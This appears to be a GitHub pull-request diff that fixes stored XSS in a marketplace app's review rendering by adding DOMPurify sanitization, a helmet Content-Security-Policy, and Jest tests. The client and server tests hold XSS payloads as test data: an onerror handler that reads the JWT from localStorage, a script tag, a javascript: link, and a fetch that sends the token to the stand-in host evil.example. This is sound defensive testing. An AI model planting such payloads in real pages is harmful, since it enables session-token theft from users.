Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
24 changes: 24 additions & 0 deletions .github/workflows/ci.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
name: CI

on:
push:
pull_request:

jobs:
test:
runs-on: ubuntu-latest

steps:
- name: Check out the code
uses: actions/checkout@v4

- name: Set up Node.js
uses: actions/setup-node@v4
with:
node-version: '20'

- name: Install dependencies
run: npm install

- name: Run the test suite
run: npm test
7 changes: 7 additions & 0 deletions babel.config.cjs
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
// Lets jest load the project's ESM + JSX source through babel-jest.
module.exports = {
presets: [
['@babel/preset-env', { targets: { node: 'current' } }],
['@babel/preset-react', { runtime: 'automatic' }]
]
};
1 change: 1 addition & 0 deletions client/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@
},
"dependencies": {
"axios": "^1.7.4",
"dompurify": "^3.1.6",
"react": "^18.3.1",
"react-dom": "^18.3.1",
"react-router-dom": "^6.26.2"
Expand Down
23 changes: 19 additions & 4 deletions client/src/lib/sanitize.js
Original file line number Diff line number Diff line change
@@ -1,8 +1,23 @@
import DOMPurify from 'dompurify'

// Reviews are rendered as HTML so people can use light formatting (bold, links).
// This helper is the single place review HTML passes through before it is handed
// to React's dangerouslySetInnerHTML.
//
// TODO (security): right now this returns the HTML untouched, so whatever a
// reviewer typed — including <script> and onerror handlers — is injected into
// every viewer's page. Make this strip dangerous markup before it is rendered.
export const sanitizeHtml = (dirty) => dirty;
// DOMPurify parses the untrusted markup and returns a cleaned string: it drops
// <script> elements, strips inline event handlers (onerror, onload, onclick, ...),
// and neutralizes dangerous URL schemes such as javascript:, while keeping the
// benign formatting reviewers are allowed to use.
const ALLOWED_TAGS = ['b', 'strong', 'i', 'em', 'u', 'a', 'p', 'br', 'ul', 'ol', 'li', 'span'];
const ALLOWED_ATTR = ['href', 'title', 'target', 'rel'];

export const sanitizeHtml = (dirty) => {
if (dirty == null) return '';
return DOMPurify.sanitize(String(dirty), {
ALLOWED_TAGS,
ALLOWED_ATTR,
// Never allow these, regardless of the allow-lists above.
FORBID_TAGS: ['script', 'style', 'iframe', 'object', 'embed'],
FORBID_ATTR: ['onerror', 'onload', 'onclick'],
});
};
28 changes: 28 additions & 0 deletions jest.config.cjs
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
// One jest run with two environments:
// - "client" tests run in jsdom (they render React components)
// - "server" tests run in node (they boot the Express app + in-memory Mongo)
// `npm test` runs both.
module.exports = {
projects: [
{
displayName: 'client',
testEnvironment: 'jsdom',
testMatch: ['<rootDir>/tests/client/**/*.test.{js,jsx}'],
setupFilesAfterEnv: ['<rootDir>/tests/setup/jest.setup.js'],
moduleNameMapper: {
'\\.(css|less|scss|sass)$': 'identity-obj-proxy'
},
transform: {
'^.+\\.(js|jsx)$': 'babel-jest'
}
},
{
displayName: 'server',
testEnvironment: 'node',
testMatch: ['<rootDir>/tests/server/**/*.test.js'],
transform: {
'^.+\\.js$': 'babel-jest'
}
}
]
};
27 changes: 27 additions & 0 deletions package-lock.json

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions server/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,7 @@
"cors": "^2.8.5",
"dotenv": "^16.4.5",
"express": "^4.19.2",
"helmet": "^7.1.0",
"joi": "^17.12.3",
"jsonwebtoken": "^9.0.2",
"mongoose": "^8.6.0",
Expand Down
20 changes: 20 additions & 0 deletions server/src/app.js
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
import express from 'express';
import helmet from 'helmet';
import morgan from 'morgan';
import cors from 'cors';
import authRoutes from './routes/auth.js';
Expand All @@ -8,6 +9,25 @@ import reviewRoutes from './routes/reviews.js';

const app = express();

// Defense-in-depth layer 2: a browser-enforced Content-Security-Policy.
// Even if some markup slips past sanitization, this policy tells the browser to
// run scripts only from our own origin and to refuse inline/injected scripts
// (no 'unsafe-inline'), which is exactly how stored-XSS payloads try to execute.
app.use(
helmet({
contentSecurityPolicy: {
useDefaults: true,
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
objectSrc: ["'none'"],
baseUri: ["'self'"],
frameAncestors: ["'none'"],
},
},
})
);

app.use(morgan('dev'));
app.use(cors({ origin: 'http://localhost:5175', credentials: false }));
app.use(express.json());
Expand Down
45 changes: 45 additions & 0 deletions tests/client/reviewList.test.jsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
import { render } from '@testing-library/react';
import ReviewList from '../../client/src/components/ReviewList';

// A review body a malicious user could submit: it tries to run script that
// reads the JWT out of localStorage (the app stores the token there).
const XSS_BODY =
'Nice item! ' +
'<img src=x onerror="window.__xssToken = localStorage.getItem(\'token\')">' +
'<script>window.__xssRan = true</script>' +
'<a href="javascript:alert(1)">click me</a>';

function renderReview(body) {
const reviews = [{ _id: 'r1', rating: 5, author: { name: 'attacker' }, body }];
return render(<ReviewList reviews={reviews} />);
}

describe('ReviewList renders review HTML safely', () => {
test('does not render any <script> element from the review body', () => {
const { container } = renderReview(XSS_BODY);
expect(container.querySelector('script')).toBeNull();
});

test('strips inline event-handler attributes such as onerror', () => {
const { container } = renderReview(XSS_BODY);
expect(container.querySelector('[onerror]')).toBeNull();
expect(container.querySelector('[onload]')).toBeNull();
expect(container.querySelector('[onclick]')).toBeNull();

const img = container.querySelector('img');
if (img) expect(img.getAttribute('onerror')).toBeNull();
});

test('does not keep javascript: URLs on links', () => {
const { container } = renderReview(XSS_BODY);
const link = container.querySelector('a');
if (link) {
expect((link.getAttribute('href') || '').toLowerCase()).not.toMatch(/^javascript:/);
}
});

test('still renders the benign review text', () => {
const { container } = renderReview(XSS_BODY);
expect(container.textContent).toContain('Nice item!');
});
});
67 changes: 67 additions & 0 deletions tests/server/csp.test.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
import request from 'supertest';
import mongoose from 'mongoose';
import { MongoMemoryServer } from 'mongodb-memory-server';
import app from '../../server/src/app.js';

let mongo;

beforeAll(async () => {
process.env.JWT_SECRET = 'test-secret';
process.env.JWT_EXPIRES_IN = '1h';
mongo = await MongoMemoryServer.create();
await mongoose.connect(mongo.getUri());
}, 60000);

afterAll(async () => {
await mongoose.disconnect();
if (mongo) await mongo.stop();
});

async function registerAndGetToken() {
const res = await request(app)
.post('/api/auth/register')
.send({ name: 'Reviewer', email: `r${Date.now()}@test.dev`, password: 'secret123' });
return res.body.token;
}

describe('Reviews API', () => {
test('a logged-in user can create a review and it can be read back', async () => {
const token = await registerAndGetToken();

const listingRes = await request(app)
.post('/api/listings')
.set('Authorization', `Bearer ${token}`)
.send({ title: 'Used bike', price: 50, category: 'other', condition: 'used' });
expect(listingRes.status).toBe(201);
const listingId = listingRes.body.listing._id;

const payload =
'Great seller! <img src=x onerror="fetch(\'//evil.example/?t=\' + localStorage.getItem(\'token\'))">';
const createRes = await request(app)
.post('/api/reviews')
.set('Authorization', `Bearer ${token}`)
.send({ listing: listingId, rating: 5, body: payload });
expect(createRes.status).toBe(201);

const listRes = await request(app).get('/api/reviews').query({ listing: listingId });
expect(listRes.status).toBe(200);
expect(listRes.body.reviews).toHaveLength(1);
});
});

describe('Content-Security-Policy header', () => {
test('responses send a CSP header', async () => {
const res = await request(app).get('/api/health');
expect(res.headers['content-security-policy']).toBeDefined();
});

test('the CSP restricts scripts to the same origin and blocks inline script', async () => {
const res = await request(app).get('/api/health');
const csp = res.headers['content-security-policy'] || '';

// script-src is present and allows only 'self'
expect(csp).toMatch(/script-src[^;]*'self'/);
// and it must NOT permit inline script (which is how injected XSS runs)
expect(csp).not.toMatch(/script-src[^;]*'unsafe-inline'/);
});
});
2 changes: 2 additions & 0 deletions tests/setup/jest.setup.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
// Adds jest-dom matchers (toBeInTheDocument, etc.) to the client test environment.
require('@testing-library/jest-dom');